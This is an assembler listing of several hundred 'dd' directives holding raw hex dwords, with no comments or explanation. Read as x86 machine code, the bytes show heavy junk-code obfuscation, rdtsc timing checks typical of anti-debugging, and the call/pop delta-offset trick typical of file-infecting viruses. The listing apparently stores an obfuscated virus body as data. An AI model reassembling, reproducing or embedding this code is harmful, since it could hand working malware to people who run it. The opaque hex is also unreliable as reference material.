		dd 428D9235h, 8E98514h,	0BE000000h, 8F0B6FD2h, 8D38673Eh
		dd 74B4A8Dh, 0C8F0F06h,	0F000000h, 689h, 0B1B50900h, 0FF06072Eh
		dd 56006AE1h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 4BA89688h, 0B98D896Fh, 8306070Bh, 72FD5BDh
		dd 840F0006h, 519h, 0E855006Ah,	3, 5DC35D20h, 4246C89h
		dd 4244481h, 16h, 0E1C35545h, 0BD2B3EB3h, 6071099h, 2FD5BD83h
		dd 0F010607h, 50384h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1704h, 0C3524200h, 97DC9EC9h, 0C99B589h
		dd 0BD830607h, 6072FD5h, 9B860F03h, 6A000004h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 0F9EC357h, 28Eh, 60FA8A00h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 16h, 4EC35141h, 9D2930F8h, 6072121h
		dd 6AD98C66h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 768C352h, 215A2A18h, 0D15E9D00h
		dd 6A04E180h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 9032C357h, 436E55ADh, 0CB81B316h
		dd 52998AE1h, 6F60C781h, 0C90A1B03h, 14F840Fh, 0BD8B0000h
		dd 6072059h, 0B7D8D89h,	858B0607h, 6070EF1h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0F9C35343h, 0D61715A7h
		dd 0B3BF66F5h, 6FBF661Fh, 6985330Fh, 3060715h, 72CF59Dh
		dd 0BB665006h, 489D589h, 52006A24h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1804h, 0C3524200h, 8D448FF1h, 0D8C0FB4h
		dd 0E9000000h, 8, 0FD3F598Dh, 2B3BB619h, 19F1BD8Bh, 6A0607h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0BC35646h
		dd 0F8D4A4FBh, 0F8B70F46h, 4E8h, 1F03FF00h, 0DA8B6600h
		dd 38E0F50h, 66000000h,	448BF88Bh, 8B0424h, 52506050h
		dd 585A310Fh, 5F616160h, 4244489h, 61605057h, 6A585B5Bh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 0B9F5C357h, 0C7801A3Ch, 98BF664Ah, 0A4F780B0h
		dd 56195FFh, 89F80607h,	0AA29185h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 11682DBFh
		dd 36EC5948h, 63E916A1h, 0E9000002h, 9,	72635F0h, 6C7DC276h
		dd 89858B48h, 6A060AA2h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 0EE4FC355h,	0BD8B52CBh
		dd 607184Dh, 1800C75Fh,	0F000000h, 68Ah, 7D9D2300h, 8B06070Ah
		dd 0AA28DB5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1D04h, 0C3534300h, 0E0AF595Dh, 0B7B84CC1h, 0D88BD204h
		dd 1C7D858Bh, 0F8F90607h, 6A0689h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 2D65ECC3h, 8BDE8B66h
		dd 70EF185h, 53006A06h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1C04h, 0C3534300h, 0FBEEFFAEh, 6DA4F279h, 95315788h
		dd 607187Dh, 446895Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 16h, 0D0C35747h, 14E9B5F2h, 7A000000h, 0A17A3E58h
		dd 0C9BBCD72h, 0B57F3250h, 669A895Dh, 89A52A05h, 7148D85h
		dd 12E99606h, 2C000000h, 0DE782ED0h, 4C1E854h, 8AF41A34h
		dd 0DD3D7CF9h, 0BE85052h, 39000000h, 32CB76AEh,	920A198h
		dd 6060B915h, 61D8B261h
		dd 0B5FF965Bh, 60AA289h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 1Dh, 67C35242h, 0A797D5B5h, 0BE723893h, 8E823h
		dd 0AF0A0000h, 0F0194F0Bh, 13E96960h, 19000000h, 73667051h
		dd 0DC81A85Ch, 32901180h, 0B9372ABFh, 685F340Eh, 6D1187E1h
		dd 5CEB960h, 0CE87A14h,	7F000000h, 5074B00h, 6A2D21B1h
		dd 66FADAF4h, 615EF38Bh, 1E243481h, 6A6D0E84h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
		dd 8DA6C351h, 0AA29185h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1604h, 0C3574700h, 0F020CBCh, 8166DEBFh
		dd 897853EBh, 70DDD9Dh,	50509006h, 18850F52h, 0E9000000h
		dd 13h,	170830E4h, 65A23353h, 0E49AD743h, 7C1913ECh, 0F3F1BDDh
		dd 5B11BF31h, 585A7934h, 53006A90h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1504h, 0C3534300h, 95FF2E09h, 6070561h, 515BD8Bh
		dd 8B610607h, 0D585C7DAh, 306072Fh, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
		dd 3B7FC355h, 0FD858962h, 0FC06072Ch, 0A291BD83h, 0F00060Ah
		dd 0D84h, 0C753BF00h, 0DB804BADh, 1BE990h, 30500000h, 4400110Ch
		dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h
		dd 4305036h, 11640011h,	10E8C101h, 2114430h, 3116400h
		dd 4E98358h, 1BEBE775h,	10E8C150h, 3116428h, 2114430h
		dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 56006AC0h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 494FBBDBh, 0E80F7CA3h, 9D8B95B2h, 60712E5h, 2FD5BD83h
		dd 0F030607h, 42285h, 0DE8B6600h, 0A291BD83h, 0F00060Ah
		dd 41284h, 0E59D8B00h, 0FF06072Eh, 0AA291B5h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 0F9AE72C8h, 9D895C18h, 6071DD9h, 164195FFh, 0BF0F0607h
		dd 458D89F9h, 8B060716h, 0AA285B5h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 41A37C97h
		dd 0C7778E1Ch, 1000106h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 50509636h, 11E9h, 1A3EF800h
		dd 3244946h, 0A3CDEAAFh, 358B5E0h, 965B8AC3h, 9CE8BF66h
		dd 0A291B5FFh, 6A060Ah,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 185A6C3h, 70045BDh, 0E195FF06h
		dd 8B06071Dh, 717E9BDh,	2EEB8106h, 8B0DA814h, 0AA285B5h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 0D5EFE5DFh, 0BB664479h, 858B0ABEh, 60720A5h
		dd 0B8C38166h, 998529A3h, 89060707h, 0C486h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 93D83C17h, 0F7816CFBh, 5DE26C16h, 1ED9D89h, 958B0607h
		dd 6070A01h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 16h,	0FEC35545h, 8C0F455Ch, 5, 652995BFh, 4C28344h
		dd 89DA8B66h, 14E92050h, 0D9000000h, 0CAC265BBh, 9241F9Eh
		dd 85A48A41h, 87CC6CE1h, 0FE8207Ah, 685h, 59950100h, 8D060731h
		dd 0AB5BC85h, 219D8B06h, 8906072Fh, 0B886h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 1035627Bh, 678F2A67h, 840F006Ah, 2, 0B5FFF98Bh, 60AA291h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 7AC35747h
		dd 9A741B74h, 0FFE16E63h, 7028595h, 2DB58906h, 0F06071Bh
		dd 0B750D8BFh, 2434895Fh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 19h, 94C35141h, 9FCC4FEh, 359D8BE9h, 0FF060720h
		dd 0AA291B5h, 55BD8B06h, 0FF060717h, 7115595h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 7D67E99Dh, 57CDD67Fh, 0BD9BD8Bh, 0B5890607h,	6071C95h
		dd 6DDBD83h, 0F000607h,	3984h, 0D9BD8B00h, 8B06070Bh, 70F3D9Dh
		dd 52509606h, 8FC5BF66h, 0E0BF310Fh, 5A3BF6DAh,	0E8965058h
		dd 0Dh,	803F0621h, 50178F5Ah, 221291F0h, 0AD9D31FFh, 5B060703h
		dd 0B5FF1CB7h, 60AA291h, 2F499D31h, 66600607h, 7DE6E281h
		dd 2FDBD8Bh, 0FF610607h, 71BF195h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 0A5BD8B63h
		dd 0FF060709h, 0AA291B5h, 0E98AB306h, 0Ch, 30095506h, 0A6F66527h
		dd 75608CB0h, 1AF595FFh, 6A0607h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 0BF0F5AC3h, 0F5BD83DFh
		dd 2060719h, 6B840Fh, 8E0F0000h, 3, 8BF98B66h, 71A2985h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 4020E2BFh, 80A8C64Ah, 0DB80CCC7h, 0C690h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 8C35141h
		dd 7CFB0390h, 6553B127h, 0A19D8B2Ah, 8B06071Bh,	70DDD9Dh
		dd 985C706h, 6070Dh, 6A000000h,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 5D1BC355h, 5592ED1Fh
		dd 0EE9h, 0C496EC00h, 0E53BD8D4h, 96550573h, 0E9D41733h
		dd 0FFFFF1F2h, 5404BF66h, 21AD9D8Bh, 0C18B0607h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 13C35040h, 0D520BDFFh
		dd 0FBF6652h, 858D5F11h, 6072C61h, 900DF780h, 0BB50FD8Ah
		dd 7EA7121Eh, 55006A90h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1804h, 0C3554500h, 9400E2DFh, 29006A1Dh, 7288D9Dh, 29006A06h
		dd 72C3D95h, 3D858D06h,	6A060BBBh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0B048C356h
		dd 0E3CFD71Eh, 0B99D8B83h, 0B3060718h, 5C08371h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 28C35040h, 101CA3A9h
		dd 79EBD824h, 30418D89h, 50900607h, 657DBB52h, 310F104Dh
		dd 907CBB66h, 8B50585Ah, 8C0F90DFh, 3, 2968CF80h, 7317D8Dh
		dd 8B006A06h, 702B99Dh,	6A006A06h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 3845C351h
		dd 682E4024h, 0E9AAA518h, 0Eh, 0B3858E5Ah, 2884E302h, 0EC796D27h
		dd 95FF5D56h, 6071335h,	6840Fh,	0B5890000h, 6070365h, 939D8D8Dh
		dd 6A060Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 13EADDC3h, 0D520BDFFh, 6AD1FF54h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 299C353h, 62449EC1h,	0C781F198h, 67E3E782h, 32B1BD83h
		dd 0F010607h, 0C585h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1704h, 0C3514100h, 4016FE56h, 26A6FB3h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh
		dd 8C35343h, 35BA4D22h,	4A25B2D8h, 52505009h, 310F5250h
		dd 585AD88Bh, 0BB66310Fh, 585A7880h, 6A240489h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 0E6B9C356h, 5C1253E8h, 19DE3719h, 0CB816650h, 0E95F55C9h
		dd 5, 6A907979h, 8595FF79h, 6A060702h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0D41EC351h
		dd 0D0022EFAh, 8960CBA4h, 71659B5h, 97E96106h, 0E800000Ch
		dd 0
		dd 47ED815Dh, 0B3060BBBh, 57006A58h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 0D9059FAEh
		dd 0A49C36F1h, 3858DE7h, 0BF060A86h, 10984A7Ch,	5ABB6690h
		dd 9E95000h, 7D000000h,	0EE6CDB6Eh, 81DCD02Ah, 0E99D8B90h
		dd 64060714h, 35FFh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 170424h, 56460000h, 520CECC3h, 25896477h
		dd 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0ACC35343h
		dd 3A1FF4F5h, 5E511F31h, 0A9B589BDh, 6606070Ah,	85FFDA8Bh
		dd 6072C89h, 1BA18589h,	0FF6A0607h, 2171B589h, 0B5FF0607h
		dd 607214Dh, 31F59D8Bh,	95FF0607h, 607213Dh, 0EFE9h, 0B0FC00h
		dd 6870Fh, 9D8B0000h, 6070F91h,	71E470E6h, 8610D781h, 613C3142h
		dd 0CE830Fh, 0E3800000h, 0C8B60FB5h, 2EF3D781h,	6BA733Eh
		dd 66000000h, 64F8CB81h, 0B501C18Bh, 6070DF5h, 0E904E8C1h
		dd 6, 1353F76Eh, 0F7664DB6h, 0DABF0FE2h, 0D7EFC381h, 0C82B16B3h
		dd 4B5BD89h, 0D18B0607h, 0F493CF81h, 81E971B5h,	8B000000h
		dd 719359Dh, 1858B06h, 0F000000h, 0C083FEBFh, 99BD2907h
		dd 83060707h, 60B700C0h, 830FD03Bh, 1Ch, 0DE9h,	0DA557100h
		dd 57DB0771h, 6066CF34h, 45E9244Fh, 66000000h, 5245D381h
		dd 0FFFF8D8Bh, 0E183FFFFh, 31840F01h, 0B000000h, 71D899Dh
		dd 0FFA58306h, 0FEFFFFFFh, 15B58589h, 95890607h, 1, 5775BF66h
		dd 5E8h, 2E96C600h, 0BF66D166h,	0E95B2565h, 0
		dd 3A0FB58Dh, 0BF66060Bh, 6A4F95h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 5C35545h, 6995FF53h, 8B06071Bh
		dd 10F8B9DFh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1A0424h, 50400000h, 0D44EA0C3h, 1565A4EAh, 0FCE183F5h
		dd 7E957h, 0A00B0000h, 0B5A75965h, 89FC5B15h, 71C4D9Dh
		dd 0B806h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 5BD465C3h, 0F5681DFDh, 0BD8BD22Bh
		dd 6072F35h, 68C0Fh, 95090000h,	6070A4Dh, 0D1C233ADh, 83D003E8h
		dd 0F47504E9h, 57006AF9h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1804h, 0C3574700h, 7344B574h, 880D3Ah, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 5D8705C3h, 4987B153h, 8B4CB8EBh, 70A0195h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 0EAF33E03h, 8D8B30B3h, 60714A5h, 7E960h, 6770000h, 0F8024625h
		dd 0AEE5BEF4h, 5061007Fh, 188BC28Bh, 188BC103h,	0E8D1C18Bh
		dd 188BC203h, 0FA8B6658h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 16h, 73C35141h, 0BD331BBAh, 607099Dh, 2FF9BD83h
		dd 0F000607h, 8984h, 57006A00h,	3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1704h, 0C3574700h, 821C9553h, 2850Fh, 20B30000h
		dd 12299D8Bh, 81660607h, 0B84BCAEBh, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0D6C35242h
		dd 0D8DA220Fh, 0F80553D1h, 4B4A8D8Dh, 6A0607h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 22AA43C3h, 0FFF5F4A7h, 0DF8166E1h, 0BD83C6EEh, 6072FD5h
		dd 0A840F00h, 6A000004h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 443FC351h, 0F3EE7BDh
		dd 0D5BD83FAh, 106072Fh, 3F6840Fh, 0B2600000h, 0D5858B1Eh
		dd 61060723h, 2FD5BD83h, 0F030607h, 3A986h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 0CC2C8927h, 61B589C7h, 60060704h, 0CB816650h, 665F6847h
		dd 6AD98Ch, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 63C02DC3h, 0B3AC1B0Ch, 4D8D298Eh,	8006072Fh
		dd 8B6604E1h, 0FC90AFEh, 0E684h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 6BBB776Dh
		dd 45899E6Ch, 66FC54EBh, 9AEFDB81h, 0EF1858Bh, 0B6BF0607h
		dd 330B0BEEh, 7156985h,	0CEBB6606h, 8B6650D8h, 240489D9h
		dd 8B006AF9h, 71DD9BDh,	240D6806h, 0CE9B409h, 54000000h
		dd 187898F3h, 96095395h, 811A097Fh, 0DFF22404h,	8D314C15h
		dd 6070CA5h, 56195FFh, 6A0607h,	3E850h,	58200000h, 448958C3h
		dd 44810424h, 190424h, 50400000h, 52CEC9C3h, 815AFB51h
		dd 0A8719BC7h, 0C7816614h, 9D894147h, 6070C05h,	0A2918589h
		dd 8B66060Ah, 211E9D8h,	6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 91D126C3h, 0F75D901h
		dd 68Ch, 0E99D8B00h, 8B060726h,	0AA28985h, 57006A06h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h
		dd 0B2705D92h, 89C7628Dh, 6830Fh, 0B5890000h, 6072CFDh
		dd 1800C7h, 0BF660000h,	0B58BD389h, 60AA28Dh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0FEC35242h, 0B217D114h
		dd 0D092D63Ah, 8BDEB70Fh, 71C7D85h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 834A1739h
		dd 0F73F132Ah, 7E8E5EAh, 9C000000h, 0B8538E00h,	95095864h
		dd 6072149h, 0E281605Bh, 372623F0h, 1031B58Bh, 89610607h
		dd 0C19D3306h, 8B060705h, 70EF185h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 430456C5h
		dd 8A729CA4h, 44689FAh,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 14h, 39C35141h, 50FABF0Fh,	3489DA8Ah, 0ED958924h
		dd 0FF060704h, 0AA289B5h, 0FE8B6606h, 0B518D89h, 0A9680607h
		dd 5084A2E2h, 0CE952h, 5DCB0000h, 0A25769CFh, 4F30E161h
		dd 310FA9F4h, 13E9h, 0DB19B800h, 4D085671h, 29D88298h
		dd 0CFEECB62h, 0FA5806F0h, 481585Ah, 7C215624h,	2D95897Bh
		dd 8D060728h, 0AA29185h, 7E906h, 15950000h, 0E7BECEBDh
		dd 11E990E9h, 0BD000000h, 0D8BFB08Fh, 0EC7A0B3Ch, 0DEC0D249h
		dd 8D120AACh, 28A0F50h,	8B000000h, 6A90FBh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 160424h, 52420000h, 0CAEEFC3h
		dd 56195FFh, 6A0607h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 0F11C92C3h, 1F8A6A03h, 61D8BF0Fh
		dd 3298BB66h, 71CF8166h, 0D585C7FFh, 306072Fh, 0FC000000h
		dd 0A6DBD0Bh, 0BD830607h, 60AA291h, 4F840F00h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 1841C351h, 9589F254h, 6071235h, 40E9h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1704h, 0C3574700h
		dd 4124D77Dh, 1E819D8Bh, 30500607h, 4400110Ch, 0E8C10111h
		dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h
		dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h
		dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h
		dd 11043001h, 7504E983h, 8B00EBE7h, 0EA88BFC0h,	6A1E2Ah
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 6E797FC3h, 8579F41Fh, 1779BD8Bh, 0BD830607h,	6072FD5h
		dd 0E8850F03h, 6A000003h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 269DC352h, 0B480197Fh
		dd 832F3081h, 0AA291BDh, 840F0006h, 3B7h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 15h, 0FC35747h, 91B5FFA9h
		dd 89060AA2h, 721D595h,	4195FF06h, 66060716h, 8BBCB4BFh
		dd 0AA285B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1B04h, 0C3504000h, 8C478D29h, 3B71A669h, 17F9BD89h
		dd 6C70607h, 10001h, 17499D8Bh,	50960607h, 0DE852h, 18960000h
		dd 7B163B93h, 0E8ACA4D3h, 5B4E84E9h, 0F505B5Bh,	1382h
		dd 0EE900h, 0FD0A0000h,	53557036h, 93E758C9h, 0EA084D78h
		dd 57006A96h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1704h
		dd 0C3574700h, 36A33BEEh, 0A291B5FFh, 9D8B060Ah, 6070435h
		dd 1DE195FFh, 9D310607h, 60728ADh, 0F4DF8060h, 61F08B66h
		dd 0A285B58Bh, 6A060Ah,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 805ECC3h, 0D6A89B52h, 20A5858Bh
		dd 3600607h, 70BA1B5h, 68C0F06h, 81000000h, 66E218F2h
		dd 8689614Ch, 0C4h, 19F78166h, 0F781660Fh, 958B341Ch, 6070A01h
		dd 836FDB80h, 0BD8B04C2h, 607285Dh, 0B205089h, 71DFDBDh
		dd 0BC858D06h, 6A060AB5h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 0E81DC357h,	868919F0h
		dd 0B8h, 29C1BB66h, 6A006Ah, 3E850h, 58200000h,	448958C3h
		dd 44810424h, 1D0424h, 50400000h, 0E45293C3h, 85BE7C24h
		dd 8B4D8363h, 71C419Dh,	56F8BF06h, 0B5FF2425h, 60AA291h
		dd 6870F52h, 89000000h,	715F18Dh, 81665B06h, 0FF189ADBh
		dd 7028595h, 50006A06h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1704h, 0C3504000h, 364F177h,	13A99D8Bh, 0E8500607h
		dd 7, 0CF57EC68h, 56D14D63h, 2F7BBF66h,	34895B5Fh, 15BD8B24h
		dd 0FF060706h, 0AA291B5h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 0E8CFD6E1h
		dd 0DA6D8E72h, 1E79B589h, 95FF0607h, 6071155h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 89C35040h, 613E81FAh
		dd 7C38BF25h, 9D890AA4h, 6070201h, 6DDBD83h, 0F000607h
		dd 3384h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1404h, 0C3554500h, 41850127h, 96060731h, 0D4016FBFh
		dd 74BB504Ah, 96546242h, 0A5E3BF66h, 0A291B5FFh, 6A060Ah
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 39D7B8C3h, 95FFFB8Bh, 6071BF1h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 17h
		dd 0EAC35141h, 0F8C085Fh, 9D31DEB7h, 60716A1h, 0A291B5FFh
		dd 0BD8B060Ah, 6073221h, 1AF595FFh, 66560607h, 5F5EDCBFh
		dd 19F5BD83h, 0F020607h, 7884h,	51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 966C438Ch
		dd 0EE89A44h, 62000000h, 4A094F7Bh, 0EB1710C5h,	0A8AF51FEh
		dd 0F9B70FFAh, 29858B5Bh, 6A06071Ah, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 613C357h
		dd 0D87B5C9h, 8166AD34h, 0C6BA90C3h, 8D0F0000h,	9, 0CF23BB60h
		dd 61603FC5h, 985C761h,	6070Dh,	0F000000h, 680h, 659D8900h
		dd 0E9060730h, 0FFFFF46Ah, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Dh, 2EC35545h, 13C97CC5h,	1BBA73C4h, 0C9BD3302h
		dd 8B060726h, 7E8C1h, 663A0000h, 227E28A5h, 8D895133h
		dd 60715EDh, 858D5F5Fh,	6072C61h, 758D8B60h, 8906070Dh
		dd 71CD595h, 89506106h,	6A2404h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 0DC5713C3h, 9529AB1Eh
		dd 6071345h, 8D0F006Ah,	0
		dd 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 834E29C3h, 858D1E0Eh, 60BC9FAh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 23C35141h, 961EA16Eh
		dd 9F891F6h, 7034D85h, 83DF8B06h, 8B6605C0h, 0BF6650D9h
		dd 4894686h, 51006A24h,	3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1B04h, 0C3514100h, 791F8988h, 0AAFE82CEh, 6ADFB70Fh
		dd 5FF95000h, 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 9BE9D9C3h, 0DAB70F99h, 2E55BD8Bh
		dd 95FF0607h, 6071335h,	18798589h, 8D8D0607h, 60A939Dh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 12C35747h
		dd 3902B56h, 7022DBDh, 6AD1FF06h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 459DC350h
		dd 958911A7h, 6070289h,	32B1BD83h, 0F010607h, 0BA85h, 0EE900h
		dd 0CE840000h, 0F4F7F9E7h, 0C8FDBC11h, 30FE6864h, 6A026Ah
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 6904A4C3h, 0D026640Eh, 0E8609018h, 14h, 53EB7AA8h, 0A2B48B87h
		dd 0F6B64A10h, 766BD5F1h, 199FD24Eh, 0C89EBB66h, 61E28A5Ah
		dd 0F525050h, 840F31h, 5A000000h, 6A9058h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 160424h, 57470000h, 0B4A0F4C3h
		dd 1EF38166h, 8595FF58h, 6A060702h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 0CC0CC355h
		dd 5D49C127h, 0B99529B5h, 0E906070Ch, 0C7Dh, 0E8h, 0ED815D00h
		dd 60BCA04h, 2850Fh, 36B30000h,	0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Dh, 61C35141h, 6FA28D72h, 83C1A11Bh
		dd 0EE9EBh, 710B0000h, 0C26950E6h, 324E9626h, 2A29D05Dh
		dd 8DD8B70Fh, 0A860385h, 558D2906h, 90060700h, 0C38B6050h
		dd 77579AB9h, 6A906138h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 1118C352h, 35FF64D8h
		dd 0
		dd 11E9h, 0A57B7000h, 0AD77CFABh, 0F4D40022h, 230BB31Ch
		dd 89641490h, 25h, 0CF816600h, 85FF5C59h, 6072C89h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 32C35242h, 0E5FC0D9h
		dd 2ABB25C2h, 601A6CE6h, 0DDDB529h, 56560607h, 6A61595Ah
		dd 0B70F60FFh, 12E9C1h,	0D7070000h, 242C214Eh, 0C94B32C4h
		dd 0BA1E9D40h, 57B59998h, 0D5B5FF61h, 6A060719h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 74FC353h, 9509B819h,	6070B75h, 213D95FFh, 7E90607h
		dd 66000001h, 0B0D88Bh,	0E657EF80h, 159D8B70h, 0E4060715h
